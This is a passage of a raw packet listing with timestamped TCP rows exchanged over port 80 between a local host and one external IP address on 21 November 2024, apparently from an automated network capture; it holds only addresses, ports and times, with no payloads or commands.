Nov 21, 2024 14:11:15.518692970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.518707991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.518728971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.519473076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.519565105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.519582987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.519629002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.690651894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.690709114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.690746069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.690787077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.690788031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.690845966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.690892935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.690908909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.690949917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.691689014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.691734076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.691755056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.691771030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.691790104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.691828012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.692555904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.692599058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.692610979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.692627907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.692666054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.693422079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.693464994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.693495989 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.693511963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.693569899 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.694535017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.694550991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.694566965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.694578886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.694601059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.694611073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.695605040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.695631027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.695647001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.695691109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.696572065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.696605921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.696620941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.696629047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.696647882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.696661949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.697710991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.697757959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.697798014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.697814941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.697855949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.698601007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.698654890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.698658943 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.698674917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.698715925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.699193954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.699239969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.699254990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.699296951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.699331999 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.699661970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.699708939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.699709892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.699726105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.699836969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.700532913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.700587034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.700591087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.700603008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.700706959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.701344967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.701389074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.701392889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.701405048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.701425076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.701438904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.702238083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.702254057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.702270031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.702306986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.702330112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.703072071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.703097105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.703111887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.703135967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.703161001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.703980923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.704041004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.704055071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.704092979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.704114914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.704843998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.704890966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.704905987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.704958916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.704983950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.705713987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.705770016 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.705773115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.705785036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.705807924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.705826998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.706609964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.706667900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.706684113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.706692934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.706711054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.706728935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.707535982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.707561970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.707577944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.707722902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.707722902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.708364010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.708410025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.708425045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.708482981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.708501101 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.709270954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.709333897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.709350109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.709366083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.709393978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.709410906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.710216045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.710294008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.710309982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.710366964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.710396051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.711008072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.711069107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.711256027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.711318970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.711335897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.711364985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.711385012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.712433100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.712447882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.712465048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.712495089 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.712526083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.713113070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.713181973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.713197947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.713244915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.713913918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.713972092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.713988066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.714040041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.714796066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.714843988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.714868069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.714890003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.714905977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.715699911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.715715885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.715730906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.715751886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.715770006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.716536045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.716569901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.716586113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.716593027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.716608047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.716640949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.717422009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.717474937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.717483997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.717493057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.717533112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.718301058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.718339920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.718353987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.718359947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.718395948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.719181061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.719228029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.719243050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.719274044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.719288111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.720060110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.720103025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.720118046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.720168114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.720926046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.721076012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.723684072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.892066002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.892137051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.892177105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.892191887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.892218113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.892234087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.892240047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.892262936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.892288923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.893062115 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.893114090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.893130064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.893136024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.893177986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.893781900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.893832922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.893841982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.893861055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.893903017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.894726038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.894773960 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.894805908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.894821882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.894850016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.894865990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.895546913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.895592928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.895608902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.895647049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.895667076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.896411896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.896469116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.896485090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.896522045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.896538973 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.897285938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.897332907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.897350073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.897384882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.897418022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.898179054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.898228884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.898231983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.898246050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.898296118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.899161100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.899214029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.899214029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.899230957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.899271965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.899985075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.900013924 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.900029898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.900037050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.900072098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.900815010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.900866032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.900887966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.900906086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.900952101 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.901755095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.901870966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.901887894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.901923895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.901938915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.902779102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.902806997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.902823925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.902832985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.902848005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.902874947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.903435946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.903517008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.903532982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.903569937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.903601885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.904324055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.904366016 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.904376030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.904382944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.904426098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.905236959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.905287981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.905293941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.905311108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.905369043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.906069994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.906141043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.906157017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.906188011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.906203032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.906944036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.906989098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.906999111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.907016039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.907072067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.907833099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.907886982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.907902956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.907932043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.907968998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.908693075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.908745050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.908799887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.908816099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.908868074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.909590960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.909636974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.909651995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.909687996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.909703970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.910490036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.910506964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.910521984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.910542965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.910558939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.911361933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.911623001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.911674976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.911703110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.911719084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.911748886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.911775112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.912518024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.912570953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.912576914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.912594080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.912633896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.913389921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.913466930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.913579941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.913631916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.913655996 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.913701057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.914257050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.914309025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.914311886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.914329052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.914446115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.915141106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.915184975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.915193081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.915203094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.915303946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.916033030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.916085958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.916088104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.916102886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.916143894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.917855978 CET	80	49876	31.41.244.11	192.168.2.6
